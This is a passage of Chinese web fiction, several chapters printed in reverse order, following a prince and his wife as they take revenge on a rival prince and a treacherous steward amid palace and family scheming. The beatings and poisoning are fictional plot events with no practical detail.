楚御礼耳根骤然变得通红,松开姜黎婳的手起身就往隔间走去,“天太热了,为夫去冲个凉!”
“哈哈哈...”姜黎婳掩唇大笑了出来。
这样的大皇子可比书中描述出来的那个病弱无趣的大皇子有趣多了。
两日后。
姜黎婳看着忽然造访的嬷嬷,眉头皱了皱,“夫人生病,你们请大夫就是,大夫没办法的话,以苏大人如今的地位,进宫请个太医去府上给夫人看看应该也不成问题,你们来找我做什么?”
说到这里,她轻笑了一声,“我又不是大夫,难道我去了,还能给夫人治病不成?”
刘嬷嬷没想到姜黎婳竟然在听到夫人生病之后还这么冷静,当即觉得姜黎婳太过冷血无情了。
夫人是她亲娘,听到夫人病了,她竟然还笑得出来!
不过想到自己的目的,刘嬷嬷又道:“夫人就是想皇子妃了,想请皇子妃回去陪陪她。”
“想装母女情深?”姜黎婳手肘放在矮几上,身子也歪着靠了过去,她浓丽的脸庞上露出一丝讥诮,似笑非笑的睨着刘嬷嬷,“那你是不是找错人了?比起我的话,生病的吕夫人此时最想见的人,难道不是她养在身边十几年的好女儿苏清欢吗?”
“夫人说想见您,不是世子夫人。”刘嬷嬷见姜黎婳那一副不动于山的模样,眉头微蹙,“大皇子妃是不想回去探望生病的夫人吗?难道您不怕被传不孝吗?”
“不孝?”姜黎婳叹了口气,煞介其事的点了点头,“这的确是难听了,既然吕夫人那么想见我,甚至不惜让人到这行宫以不孝压我了,那我就走一趟,瞧瞧她到底是为了什么事情,这么想见我这个亲生女儿。”
刘嬷嬷闻言眉头下意识的皱了起来,这二小姐说话怎么这么难听呢,说得夫人找她有什么其他目的一样...
额,夫人虽然是有目的,但这也是为了大少爷的前程啊!
二小姐真是不懂事,她若有大小姐那样懂事,夫人也不至于更喜欢大小姐了。
楚御礼听说姜黎婳回京一趟,又想到刚刚自己接到的传信,他道:“为夫与你一同回去。”
“有事?”姜黎婳有些不解的看向楚御礼。
这些日子楚御礼虽然表现得有些粘人,但是应该不至于就连她回娘家他都要粘着。
楚御礼点头,“如今趁着那母子二人被禁足,其他妃嫔又陪太后在行宫避暑,为夫也得回去处理一些该处理的事情了。”
姜黎婳立刻明白了他说的要处理的事情,当即决定两人一同回京。
皇后得知之后,还派了一个太医和姜黎婳两人同行,“既然吕夫人身子不适,你就带着太医回去给吕夫人好好瞧瞧,可别留下病根。”
姜黎婳笑着谢恩之后,带着太医和楚御礼上了马车,当然,太医是不敢和两人共乘一辆马车的,一行人四辆马车,从行宫离开。
刘嬷嬷坐在自己的小马车里,想到与他们同行的太医,一时不知道该说什么。
第30章 诡计多端苏家人
苏清欢回来的时候,厅中的气氛刚缓和一点,见一家人都在,苏清欢笑着上前,“父亲、母亲,哥哥,世子说上官先生的住处就在西城杨柳巷的明心居,但世子还说,上官先生为人孤僻,不爱见人,喜好更是捉摸不定,所以其他的事情,他也爱莫能助。”
“打听到了?”苏承印惊喜的站起来,“好妹妹,你真是哥哥的福星啊!”
苏建明脸上也露出了笑容,“只要打听到人住在哪儿,总有办法让人收徒的,心诚则灵嘛!”
吕氏有点出神,如今女儿已经帮儿子把上官清泉的住处打听出来了,她这个当母亲的若不能替儿子找一件像样的拜师礼,那的确说不过去。
想到这里,吕氏看向苏承印,轻声道:“承儿,一会儿母亲与你一同去墨宝斋逛逛,咱们去拜访上官先生之前,你选一样像样的礼物。”
苏建明听吕氏是彻底放弃了从永宁伯老夫人那边要那方先帝赏赐的砚台了,他眉头眼底几不可查地闪过一丝不耐,嘴上却说,“想要踏入上官先生的房门,怕是还得从太傅那里下手,这太傅最爱的就是端砚,但端砚名贵且不可多得,为夫所知的就是之前先帝手头有两台,一台如今在皇上手中,另一台先帝赏赐给了与先帝有手足之交的已故岳父。”
见吕氏面上为难,苏建明叹了口气,他语重心长的对着吕氏道:“夫人,若是岳父还在世,那为夫断然不会让你去跟岳母大人开这个口的,可如今岳父不在了,舅兄与越宗都弃文从武了,他们两人也用不上,那砚台放在那里蒙尘不如拿来给孩子求个好前程。”
苏清欢听到端砚的时候眼里闪过一丝疑惑,很快她眼睛一转,拉着吕氏道,“母亲,外祖母不愿意把端砚给哥哥当礼物送给太傅吗?”
她皱了皱眉头,低声道:“听说太傅是上官先生唯一的徒弟,太傅的话他一定能听进去的。”
语气变得自责起来,“都是女儿没用,若是女儿认识的人多一点,能从其他地方得到那端砚的话,母亲您就不用为难了。”
瞧苏清欢这么贴心,吕氏心头很是欣慰,她抬手拍了拍苏清欢的肩膀,轻声道:“你能打听到上官先生的住处已经很了不起了,上次不是说看上了珍宝阁一副头面吗?一会儿母亲就带你去买。”
“母亲对清欢真好。”苏清欢抱着吕氏的手臂晃了晃,接着又露出小心翼翼的表情道:“可如今女儿已经嫁出去了,还让母亲给女儿买头面,若是传到婳儿妹妹耳中,会不会让婳儿妹妹不开心啊?咱们要不要也给婳儿妹妹买一套?”
苏建明看了苏清欢一眼,没说话。
苏承印皱起眉头,说起姜黎婳的语气都带着厌恶:“她那样对你,你还什么事情都想着她?世上怎么有你这么单纯的姑娘,你就该好好为自己想想。”
“是啊,姐姐你就是太善良了,咱们在这里为大哥拜师的事情急得不行,那个女人呢?人家如今可是跟着大皇子他们去行宫避暑去了,早把咱们这些人抛到脑后了,你还想着她做什么?”苏继业也跟着说道。
吕氏脸上的笑容也淡了几分,她道:“她如今贵为皇子妃还会在乎咱们这三瓜俩枣的吗?”说着宠爱的捏了捏苏清欢的脸颊,“母亲只给你买。”
苏清欢笑容甜甜,“娘对清欢最好了。”
她那样问不过是想看看这母子三人对姜黎婳的态度罢了,如今知道三人对姜黎婳如同仇人,她也就不再继续这个话题了。
苏建明瞧着其乐融融的母子四人眼里闪过一丝意味不明的情绪,他握拳咳嗽了一声,“买首饰和礼物一会儿你们母子四人一同去吧。”
说着看向苏清欢,淡淡道:“欢儿,你如今嫁到定国公府要注意的事情很多,跟父亲到书房来,父亲有事要叮嘱你。”
苏清欢收起笑容严谨的应了一声是,吕氏瞧着苏清欢的模样,以为苏建明吓到苏清欢了,她对着苏建明道:“老爷,你别太严肃了,欢儿如今是世子夫人,你也别太苛责她了。”
“知道。”苏建明说罢率先抬步往后院走去。
苏清欢朝着吕氏等人吐了吐舌头,然后快步跟上苏建明,等离开吕氏等人的视线后,苏清欢收起了自己的天真烂漫,眼里带着精明。
她踏入苏建明的书房,对着苏建明福了福身子,“爹爹,您有什么事情要叮嘱女儿的?”
苏建明转身扶起苏清欢,眼里带着慈爱,他轻轻地拍了拍苏清欢的头发,“太傅很爱书画,更爱收藏砚台,把端砚送给他就是投其所好,若是你哥哥能拿着那方砚台去请教太傅,即便不能成为太傅的学生,也可以入了太傅的眼,到时候他能常常出入太傅府中,也能得偿所愿。”
说起得偿所愿几个字,苏建明眼里闪烁过一丝意味不明的光芒。
“可是永宁伯老夫人不是不愿意把砚台给母亲吗?”苏清欢眉头皱了皱,“现在没有其他办法了吗?”
“唉,若是你嫁给了大皇子,以皇子妃的身份向那老太婆讨要那个砚台,定然是能要过来的。”苏建明有些不解的看着苏清欢,“你为何就偏偏不愿意嫁给皇子,而是选择萧景宴?”
苏清欢抿了抿嘴,抬眸看着苏建明,心想她又不能说自己是从十三年后重生回来的。
“爹爹,大皇子已经病入膏肓了,时日无多,若真的嫁给了他,女儿这一辈子才完了。”苏清欢抬头看着苏建明,“但是嫁给萧世子就不一样了,女儿将来会是一品国公夫人,您别看世子表面纨绔,实则是一个有勇有谋的男子汉,而且世子房中没有妾室通房,她才是女儿的良配。”
苏建明想到这几日都在说大皇子在行宫吐血时日无多,当即也觉得苏清欢考虑得周全,他点头道:“还是欢儿你想的周全,只是你娘这几日一直在念叨你,说是想你了,你抽个空就去看看你娘和你哥哥,也给他们说清楚,别让他们担心。”
提起自己的娘亲,苏清欢适当的在脸上露出孺慕之意,“女儿知道了。”她抬眸看向苏建明,轻声道:“那女儿先走了。”
“去吧,在珍宝阁多选一些喜欢的首饰,记得替你娘也选两样。”苏建明满意地拍了拍苏清欢的脑袋。
吕氏母子三人在前厅等了一会儿苏清欢就回来了,苏清欢看到吕氏那一瞬间,脸上的笑容就变得明朗了起来,她快步过去挽着吕氏的手臂,笑着道:“娘,咱们先去墨宝斋帮哥哥选送给上官先生的礼物吧。”
“还是你这孩子懂事。”吕氏叹了口气,“只是就怕这墨宝斋的东西也没法入了上官先生的眼。”
苏清欢抿了抿嘴,垂眸道:“其实外祖母那么疼爱婳儿妹妹,若是婳儿妹妹向外祖母讨要那端砚的话,外祖母一定会给的。”
吕氏原本暗淡的眼神一下子亮了。
苏承印的眼睛也眯了眯。
苏继业蹙眉,语气闷闷,“那个女人才不愿意为了我们去求人呢!”
第29章 攀附
一个时辰后,谢荣感染风寒暴毙的事情传入了正带着姜黎婳爬山的楚御礼这里。
楚御礼面露哀痛,带着姜黎婳匆匆下山,当众宣布要厚葬这位十几年来对自己忠心耿耿的老管家,还吩咐了昭临要找上好的棺椁,风水极佳的墓地,不能委屈了伺候了他十几年的老仆。
各宫的妃嫔听说了这事儿一个个感叹大皇子虽然命不好,但却心善,对一个奴才竟然都这么好。
不过虽说是大皇子府上的管家死了,但也就只是一个奴才,倒也没在行宫之中掀起多大的风浪来。
定国公府。
餐桌上定国公萧剑仁说起了二皇子不成气候被皇帝处罚还连累了丞相冯胜文一事。
提起楚明暄,萧景宴眼中露出一丝轻蔑之意,“皇帝的几个儿子,除了那病秧子,其他几个都不成气候,那三个当中唯一能拿得出手的也就只剩下那资质平平的楚巍澜了。”
萧剑仁眉头微蹙,“三皇子母族势微,冯胜文在朝中颇有威望,朝中三分之一的文臣皆与他交情不错。”
楚明暄哼了一声,“楚国江山以后若落在楚明暄那个废物手中,迟早会完。”
苏清欢坐在餐桌上听着父子两人你一言我一语,来来回回,她几度欲言又止,但又不敢说话。
国公夫人曹氏见状笑着问她,“苏氏有话要说?”
因为曹氏这句话,其他两人的目光都落在了苏清欢脸上。
苏清欢在心头骂了一句把目光引到自己身上的曹氏,面上却带着乖顺的笑容,她摇头道,“儿媳想说今晚这汤不错。”
她乖巧的站起来,给三人盛汤,“公公婆婆,世子,你们都尝尝。”
曹氏瞧她那装乖的模样,嘴角翘了翘,接着拿起勺子就着汤碗尝了尝,“的确不错,你有心了。”
“都是儿媳应该做的。”苏清欢笑着回答。
忍气吞声的把一顿饭吃完,苏清欢跟着萧景宴回了院子,两人刚进了屋子,萧景宴转身就捏住了她的下巴,似笑非笑的道,“你刚刚想说什么?”
苏清欢被忽然变脸的萧景宴吓了一跳,她眼里露出讨好的笑容,轻声道:“世子,您弄疼妾身了。”
萧景宴扔开苏清欢的下巴,转身张开自己的手臂,示意苏清欢为自己宽衣,苏清欢连忙上前为他宽衣,萧景宴居高临下的看着伺候自己的苏清欢道,“本世子没什么耐心,夫人最好还是想想,刚刚你想给本世子说什么。”
“妾身只是觉得世子您的思虑是对的。”苏清欢抬眸看了萧景宴一眼,低声道:“与二皇子比起来,三皇子倒更像是能接替大统的人。”
她虽然不知道最后那个皇位到底花落谁家了,但至少在她死的时候,二皇子的身子几乎已经被掏空了,她相信不等皇帝去世,二皇子就会死在女人床上,是绝对无法继承大统的。
要问她怎么知道二皇子几乎被掏空了?
还得说她的前世,二皇子那个人最爱刺激,她身为他兄长的遗孀,他自然不会放过。
而偌大的大皇子府,她一个人实在寂寞难耐,有这么一个大胆的男人与她玩乐,即便知道对方是什么样的人,她也不会拒绝,只是后来好像被皇后察觉了,她就被送到皇陵去守皇陵。
想到自己前世的死因,苏清欢就气不打一处来,她是一个正常的女人,凭什么死了丈夫不能再嫁!就因为自己嫁的是皇室中人她就必须守身如玉吗?
皇后那个贱妇竟然直接把她浸了猪笼!
而姜黎婳那个被抛弃的女人竟然当上了高高在上的国公夫人,活得好不风光!
不过好在老天有眼,让她重活一世,这一次,她要亲眼看着姜黎婳重步她的后尘!
“三皇子?”萧景宴眼底浮出轻蔑的光,“你爹打算支持他?”
回过神的苏清欢笑着摇了摇头,“那倒不是,妾身只是想说世子您有眼光。”
“这么会讨人欢心?”萧景宴嘴角勾了勾,遮盖住眼底的厌恶,她捏了捏苏清欢的脸颊,转身拿起另一件深色长衫穿上,可惜地说道:“怎么办呢?为夫今日有事要出门一趟,恐怕无法陪夫人了。”
“世子的事情要紧。”苏清欢笑着送萧景宴出门,“妾身也正好回娘家一趟,好给娘家回个话。”
萧景宴挑了挑眉头,这才想起前两日苏清欢大白天的取悦她,就是为了得到上官清泉的消息。
想起苏清欢在自己面前装乖的模样,萧景宴压下心底的厌恶,问她,“是为了你兄长拜师上官清泉的事情?”
“嗯。”苏清欢乖巧懂事地点头,“父母说有没有消息都要回去递个话,今日无事,我就回去走一趟。”
“你爹娘有你这么个懂事乖巧的女儿,做梦都要笑醒了吧?”萧景宴挑了挑眉,“西城的杨柳巷子的明心居,就是如今那上官清泉居住的地方,只是他的门槛高,你们苏家的人能不能进得去,就看你们自己了。”
听萧景宴告诉自己上官清泉的居住地址,苏清欢惊喜的笑出声来,她抬眸看着萧景宴,“世子,您特意为妾身去打听的吗?”
“怎么?感动了?”
苏清欢听他这么说,以为他是默认了,她心头一阵甜蜜,脸上的笑容更深了,她感动的点头,“世子,你对妾身真好。”
“你记得本世子对你的好就行。”两人说话间已经到了国公府大门外,萧景宴回头看了苏清欢一眼,笑着叮嘱,“早些回府。”
然后上了自己的马车。
登上马车后,他脸上和煦的笑容瞬间收敛,拿出帕子擦拭干净自己的手,沉声道,“去城外。”
苏清欢目送萧景宴的马车离开之后,才登上了回苏府的马车。
苏府。
苏建明还在责怪吕氏没能说服岳母把先永宁伯的那方砚台要过来,吕氏低着头,“要不咱们送点别的吧?老爷您屋中不是还有几幅大儒的字画吗?想来上官先生身为文人,更爱字画?”
“你懂什么!”苏建明听吕氏打自己书房字画的主意,当即就变了脸,“上官先生是何等人物?我收藏的那些字画能有他画出来的字画值钱吗?他能看得上那几幅字画?”
吕氏不说话了。
一旁坐着一直没说话的苏承印和苏继业兄弟两人也一直没说话,苏承印甚至开始埋怨外祖母,只是一方砚台罢了,外祖母都舍不得,看来以前抱着他一口一个乖孙都是假的!
苏继业坐在一旁低声道:“姐姐那里现在还没有消息,咱们就连上官先生住哪儿都不知道,就想着要送礼了,是不是太早了些?”
“有备无患你懂不懂?”苏建明瞪了小儿子一眼,心情浮躁,“懒得和你们说。”
说罢又看了吕氏一眼,“先拿点银两出来给我,这些日子为了攀附上太傅打听上官先生的下落,花费不少。”
听丈夫对儿子的事情如此上心,吕氏感动的连忙让账房支了五百两银票给苏建明。
第28章 背叛过孤的人,孤不会再用
“哈哈哈,你们是没有瞧见他那样子啊,真是解恨!”皇后坐在姜黎婳和楚御礼两人中间。
殿中的人都被屏退,外面又有信任的人守着,皇后大胆开麦。
瞧着皇后这么高兴的模样,姜黎婳决定让皇后更开心一些,便压低声音道:“儿臣知道,因为二皇子身上那些伤是殿下和儿臣打的。”
皇后先是一怔,接着惊讶的捂着嘴,“你们两人去打的?”她往四周看了一眼,语气疑惑,“不是说是玩弄良家妇女被报复的吗?”
楚御礼眉梢微挑,“闹到父皇面前的话,自然是因为这事儿被打的。”
“这行宫是什么地方,那人能进得来?”皇后眉头微蹙,“你父皇不会怀疑?”
“自然会,所以儿臣选的那人是一个武功高强的武夫,一个武功高强的武夫潜入行宫打了人,再去自首,没什么行不通的。”楚御礼丹凤眼中闪烁着幽光,“这些年被愚弄被谋害的仇,儿臣得慢慢报。”
那武夫不过是刚刚开始。
“那你们昨夜怎么不打狠一点,只伤了皮肉,打死他得了。”皇后不解气的骂道,“他们简直死不足惜!”
姜黎婳想了想,她昨天下手挺重的啊,竟然只是皮外伤?不科学啊?
楚御礼的目光在两人脸上转了转,他摇头一笑,“让他就这么死了,岂不是太便宜他了。”
如楚御礼所想,皇帝和冯胜文两人都怀疑楚明暄是被算计了,皇帝派了锦衣卫的人暗中探查此事,冯胜文则是明目张胆的查探,势必要还外孙一个清白。
但这一查,他甚至不敢深查,还得赶紧让人混淆线索,避免被皇帝查到一些不该查到的事情。
但锦衣卫已经查到了。
皇帝得知楚明暄不仅强占良家妇女,甚至还因为有人反抗杀死了人,气得皇帝把楚明暄狠狠地打了一顿,然后下令禁足楚明暄半年。
慧贵妃教子不严,也被禁足半年,冯胜文更是被皇帝叫到宫中大骂了一通,然后给出罚奉半年的惩罚。
这事儿也就告一段落了。
“几条人的性命,竟然只是这样轻飘飘的惩罚?”姜黎婳觉得很不可思议,“父皇这惩戒未免也太轻了。”
“父皇如今四十有三,却只有四个儿子,其中一个儿子还是命不久矣的病秧子。”楚御礼侧眸看着姜黎婳,“不到万不得已,父皇是不会要了自己子嗣的性命。”
姜黎婳也只能表示无奈。
皇族面前,平民百姓的性命就如同蝼蚁,不然定国公府也不敢那么大胆了。
想到定国公府的肮脏,姜黎婳双手捏紧了,她看向楚御礼,语气坚定,“殿下,你一定要活下去,当上太子,揭穿那些贵族背后的龌龊事。”
楚御礼眉头微蹙,下意识的联想到她对那件事情的抗拒,他问,“你知道什么?”
姜黎婳逮到机会就给苏家上眼药水,“我就是联想到自己的身世所以觉得生气,我爹爹虽然有钱,但是没权,当初我不愿回京,但父亲一介商人,根本斗不过二品京官,苏家随随便便一句话,就可以让我爹寸步难行。”
“好,以后我们夫妇携手,一同揭开这些名门贵族后面的肮脏事。”楚御礼捏着姜黎婳的手,见她心情不好,他问她,“心情不好?带你去看戏?”
姜黎婳不明所以的被楚御礼带着到了宫苑后面仆从居住的地方。
谢荣是一个人单独居住一个房间,此时他正虚弱的躺在床上,额头上不停地流汗,他从和楚明暄见面的第二天开始,就觉得脚步虚弱无力,身子提不起力气,他一开始以为是掉入湖中又洗了冷水澡,可能着凉了,想着休息一下就好,谁知今天连床都起不来了。
听到推门声,谢荣就像遇到救星一样,抬头朝门口看过去,见到是楚御礼带着姜黎婳走进来,他来不及细想其他,连忙求救,“殿下,救救老奴,老奴好像...病了!”
楚御礼笑了,他停下脚步对姜黎婳道:“你就在这儿看戏,免得一会儿脏了眼睛。”
姜黎婳听话的停下脚步。
楚御礼瞧她这么听话,温柔的笑着揉了揉她的头发,却在转身看向谢荣那一刻眼神变得冰冷,他抬步往谢荣那边走,“谢管家,你这不是病了,是中毒了。”
谢荣面上的表情先是一僵,然后不可置信地瞪大双眼看着楚御礼,问,“为什么?”
“你不问是什么毒吗?”楚御礼嘴角勾起一抹冷漠的笑意,语气淡漠,“无忧散,能让你神不知鬼不觉死去的毒,这还是谢管家你亲自从楚明暄那里拿回来的。”
谢荣的双眼在这一瞬间变得赤红,他惊惧地摇头,“这不可能,你怎么会知道!”
他这样说不像是在否认,反倒是在安慰自己。
“谢荣,这些年,孤待你不好吗?”楚御礼嘴角虽然带着笑意,说出来的话却能让谢荣心如死灰,“你宁愿选择一个杀了你全家的人合作,都不愿意效忠孤,这是为什么啊?”
谢荣在听到这句话的时候,心头吐出一口血,他趴在床榻撒花姑娘想问楚御礼这是什么意思,但是却发现自己现在毫无力气。
他用力挣扎,好半天之后才用尽力气抬头看向楚御礼,他声音嘶哑,语气绝望,“你说什么?”
看着楚御礼嘲讽的眼神,他像是想到了什么一样,使劲摇头,拼命否认,“不可能,绝对不可能!你休想骗我!”
“骗你,你是将死之人,孤骗你还有什么意义?”楚御礼轻轻摇头,幽幽说道,“不过这也是你的报应,谁让你与虎谋皮。”
“殿下!”谢荣一把抓住楚御礼的衣袖,双目赤红,“耀祖真的被杀了?”
楚御礼手一抬从谢荣手中扯出自己的衣袖,眼神凉凉地睨着他,“不只是谢耀祖,谢耀宗包括你托付给楚明暄的其他谢家人,没一个活口,而你收到的家书,不过是楚明暄吩咐假造的罢了。”
他没有怀疑之前,从不去调查这些事情,但从那日知道自己是中毒后,便查到了很多事情。
谢荣只感觉喉咙腥甜,他又吐出一口鲜血,鲜血沾染在楚御礼月白色的长衫上,如同冬日雪地里的红梅。楚御礼看了一眼被弄脏的长衫,语气骤然变冷,“孤今日就做个好人,让你们全家在地狱重聚。”
“殿下!”谢荣从床上滚下来,双手死死地抱住楚御礼的小腿,“求殿下给奴才一个机会,让奴才为您效忠,奴才会帮您杀了...”
“谢荣,背叛过孤的人,孤绝不会再用。”楚御礼冷漠的踢开谢荣的手,看着被染脏的裤脚,他嫌弃的皱了皱眉头,“你哪儿来的自信认为孤会再信你一次,让你留个全尸,孤也是看在你前半生效忠外祖父的面子上了。”
楚御礼说完不再看谢荣一眼转身就走,走到姜黎婳身边,他伸手想去拉她,但是发现自己衣袖上染了血,害怕弄脏她的衣裳,他又把手收了回来,“走吧,看着他死,你晚上可能会睡不着。”
姜黎婳笑着伸手拉住楚御礼的手,“嗯,我还真的没见过人死在我面前,还是殿下你贴心。”
楚御礼垂眸看了一眼握住自己手掌的那只小手,眼底的冰霜散去浮现出温度,他轻轻点了点头,“换身衣裳后,带你去逛逛,这几日过来,都没有带你好好逛过行宫呢。”
姜黎婳点头,两人相携离开谢荣的房间。
第27章 夜路走多了总会遇见鬼
谢荣回到房间就连忙把衣裳都脱了下来,然后检查楚明暄给自己的无忧散,他开纸包,里面哪儿还有什么无忧散,他眉头紧紧地皱了起来,没了?
不应该啊,打湿了的无忧散,应该还在纸包里面啊,晾干应该能继续用的啊?怎么全都化掉了?
看来明天得跟楚明暄重新要一些了。
把这事儿丢到一边后,谢荣换了衣裳,想到那药和自己有过接触,他有些不放心,干脆去打了冷水再泡了个澡。
谢荣离开院子后,楚御礼没有立刻回房,而是在院中等着冽风,听冽风说谢荣又去泡澡了,他才满意的点头,“加料了?”
“不出三日,必定暴毙。”冽风面无表情的回答道。
“回去休息吧。”楚御礼这才起身往屋中走去。
他回房的时候,姜黎婳已经睡着了,楚御礼瞧着她熟睡的容颜害怕自己的靠近吵醒她,干脆转身走到软榻上将就了一晚上。
翌日一早,一声惨叫惊醒了行宫的人。
慧贵妃的宫苑离着楚明暄的宫苑最近,她听到楚明暄的惨叫就急忙从自己的宫苑赶了过来,一靠近就看到楚明暄那鼻青脸肿的模样,她心疼上前,焦急亲自扶着楚明暄起来,问,“谁干的?”
楚明暄在地上昏睡了一夜,有些着凉,加上身上被打了不知多少棍子,身子一动就疼,他龇牙咧嘴的吼道:“还不快点叫太医来!”
宫人连忙去喊御医,又有几个小太监合力把他抬进屋中去。
慧贵妃坐在床边心疼的看着满身都是青紫色的楚明暄,恶狠狠地说道,“究竟是谁?是谁这么可恶!”
楚明暄捂着脸,眼里露出杀意,“若让我知道是谁敢对我动手,我弄死他全家!”
说着又龇牙咧嘴的骂骂咧咧。
慧贵妃站起来,“查!一定要严查,本宫不相信,偌大的行宫,这么多侍卫,会找不到凶手!”
楚明暄被人打了闷棍的事情很快就闹开了,太后那边也知道了。
皇后亲自带着人过来看,瞧着楚明暄浑身是伤的模样,她真想放声大笑,但是想到自己的身份,又只能压下心头激动的情绪,对着楚明暄关怀道:“你好生休息,母后定会让人救出凶手,还你公道的。”
“暄儿的事情就不劳皇后娘娘费心了,皇后娘娘管好大皇子就行了。”慧贵妃不冷不热的说道。
她才不相信皇后会好心的帮忙找出凶手呢。
而且她根本不相信皇后的能力!
这时候给楚明暄诊脉的太医站了起来,低声道:“二皇子没有伤到骨头,只是受了一些皮外伤,臣开一些药给二皇子敷一下,很快就会好。”
皇后闻言心头觉得可惜,面上看着这么严重,怎么只是皮外伤呢,这不说伤到内脏,怎么也得伤个骨头之类的啊。
可惜了。
站在人群后面的淑妃眼里也露出可惜的神色,心想,昨夜那人怎么没把人给弄死呢。
“既然没什么大碍,本宫也好去给太后那边交差了,二皇子你好生休养,以后夜半三更也别出门了,夜路走多了,总会遇见鬼的。”皇后说罢看了慧贵妃一眼,“慧贵妃你也是,别把二皇子管得那么严,你若把这宫苑中留两个样貌好的,二皇子至于夜半三更的出去吗?”
这是就是在明说楚明暄管不住自己的下半身,出去鬼混,所以才被打了的。
慧贵妃双手死死地握着,眼里迸出冷光,她咬着后槽牙,对着皇后冷笑,“这就不劳皇后费心了,您还是管好大皇子的身体吧,毕竟大皇子这身体,也不知道能熬到什么时候。”
“慧贵妃有心了,那本宫就去陪大皇子了。”皇后说完睨了一眼躺在床上哀嚎的楚明暄,“你也别嚎了,这也不是什么光彩的事情,这事儿若传到你父皇耳中,你啊,少不得又得挨骂。”
“皇后!”慧贵妃瞪着皇后,厉声道:“行宫的事情,就不必闹到宫里去了吧?”
“晚了!”震怒的男声在屋外响起,接着一个身材清瘦,眼中带着戾气的半老男人从外走了进来,“二皇子夜会人妇被打了的事情,已经闹得京城人尽皆知了!”
“这不可能!”楚明暄看清来人,连忙否认,“外祖父,孤昨夜没有私会...”
“私会人妇?”皇后捏着帕子的手遮住嘴唇,她嫌弃地往后退了一步,看趴在床上的楚明暄就像是在看什么脏东西一样,她皱起眉头啧啧两声,“二皇子你是玩得真花呢,也不怕得病?”
其他妃嫔也连忙往后退了一步,就像是趴在床上的楚明暄真的染了传染病一样。
“臣,见过皇后娘娘。”丞相冯胜文忍着怒意朝皇后见礼。
皇后摆了摆手,“既然丞相都已经知道还赶过来了,那想必皇上也知道了,本宫就不着人往宫中递消息了。”
皇后等人离开,冯胜文才一个箭步走上去,一巴掌落在楚明暄脸上,“孽障!你干的好事!你以前玩青楼花魁,和一些小姑娘就算了,现在就连人妇你都不放过!”
“父亲!你打暄儿做什么?”慧贵妃连忙上前护着楚明暄,“他现在已经够惨了!”
“惨?他玩人家娘子的时候,怎么就没想过会有这样的后果?”冯胜文想到自己今早出门参加朝会,路上那些同僚说的那些话就气不打一处来。
这一路快马加鞭地过来,就是想亲自捏死这个孽畜!
“孤说了昨夜孤没有玩!”楚明暄捂着脸颊坐起来,怒瞪着冯胜文,“孤是二皇子,是皇帝的儿子,你不过是一介臣子,竟然敢打孤?”
“我打的就是你!”冯胜文说着一脚踢在楚明暄的肚子上,“你没玩人家,人家会打了你去自首,还在顺天府门前以死明志了!”
那人若只是把事情闹到丞相府的话,他大可以让那人神不知鬼不觉的死了,谁知道那人敲了顺天府的鸣冤鼓,写了血书,还以死明志死在了顺天府门前。
这件事如今闹得整个京城都知道了。
“怎么会这样?”慧贵妃忧心忡忡的拉着冯胜文的衣袖,“父亲,你赶紧想想办法啊,暄儿若是被皇上治罪的话,咱们家就完了!”
楚明暄也意识到害怕了,他知道自己昨天晚上是被算计了,可是他以前真的玩过别人的媳妇儿,甚至还自爆了身份,警告人家敢说出去,就弄死他们全家啊。
这么久以来都没事的,怎么会忽然有人跑出来找他麻烦了?
“还愣着做什么?还不赶紧收拾东西回宫去跟皇上请罪!”冯胜文恨铁不成钢的瞪了母子两人一眼,“还要皇上派锦衣卫过来请你们回去吗?”
慧贵妃赶紧点头,“对对,先回宫,再想办法找到那家人,让那家人翻供!这事儿绝对不能是暄儿的错。”
第26章 黑夜中的大闷棍
目睹了一切的姜黎婳偏头看了楚御礼一眼,因为夜色很浓,加上他们藏在阴影处,她没法看清楚御礼的脸色,但是被自己信任的人背叛,他心头一定很不好受。
姜黎婳伸手去握住楚御礼的手。
冰冷的手心忽然传来温热的触感,楚御礼侧眸看向姜黎婳,黑夜之中她对他扬起一抹笑意,像是在对他说,你别怕,我不会背叛你的。
楚御礼反握住她的手,没有说话。
就在这时候楚明暄转身要走了,楚御礼立刻轻轻地吐出两个字,“跟上。”
三人快步跟上楚明暄,就在快要到楚明暄居住的宫苑处时,楚御礼对冽风抬了抬下巴,冽风立刻上去一个麻袋套在楚明暄身上,接着不知道从哪儿变出三根棍子,自己拿起棍子就朝楚明暄的后脑打过去,楚明暄还没来得及叫出声人就晕了过去,见人晕过去了,他才把其余两根棍子丢给夫妇二人。
楚御礼和姜黎婳拿着棍子使劲朝楚明暄身上招呼,两人出够了恶气,楚御礼让冽风把麻袋取了,冽风面部表情的把套着楚明暄的麻袋取了,又把两人手中的木棍收了回来。
楚御礼趁着月色打量着被打得鼻青脸肿的楚明暄,他不知怎么想的,蹲下身子两拳头朝着楚明暄的眼睛挥了过去,接着楚明暄那唯一没受伤的眼睛,也变成了熊猫眼。
看着那青紫色的眼睛,楚御礼满意了,他收起拳头站起来,又朝冽风使了个眼色。
冽风认命的带着两人往回走,路上还顺便把经过湖边的谢荣绊倒摔进了湖中,三人看了一眼在水中扑腾的谢荣,快速离开。
姜黎婳经历了惊心动魄的一夜,回到寝殿的时候心头都还激动不已,早知道打闷棍这么爽的话,她前世就应该把那一家子只想利用她联姻的人挨个打一顿出出气的!
不过...
姜黎婳转身看向坐在床边不说话的楚御礼,“殿下刚刚为何还要单独再给他眼睛上招呼两拳啊?”
楚御礼抬眸看着姜黎婳,“眼睛瞎了就不会乱看了。”
姜黎婳:“......”
她是真没想到这人竟然这么记仇,这大半夜了,他还记得上午楚明暄在太后的宫苑中盯着她看的事情呢?
“可你打他两拳他又不会瞎。”姜黎婳好笑的说道。
楚御礼不在乎的耸了耸肩,语气很平静,“总有一天弄瞎他。”
姜黎婳见他心情不好,便顺着他的话应道,“好,那到时候殿下可得叫上我,咱们一起弄瞎他!”
像是被姜黎婳这话取悦了,楚御礼眼中总算是露出了一丝笑意,他颔首,“娘子到时候可别退缩。”
“自然不会。”姜黎婳走过去,在他面前坐下,“心情好点了?”
楚御礼面色落寞,丹凤眼中尽是暗淡,“他想儿孙脱离奴籍,想要谢家子孙有个好前程,大可以告诉我,我也可以满足他的,他却宁愿相信一个不仁不义的人,选择和他们联手来害我。”
他露出这种表情,姜黎婳又感觉眼前这人像是一只被主人抛弃的大狗狗,她忍不住站起身来,轻轻地摸了摸楚御礼的头,“那是他眼盲心瞎,以后有他后悔的。”
成功让姜黎婳主动靠近自己的某人立刻抱紧她的腰肢,把头埋在她的怀中,语气闷闷,“娘子,你不会离开我,抛下我的吧?”
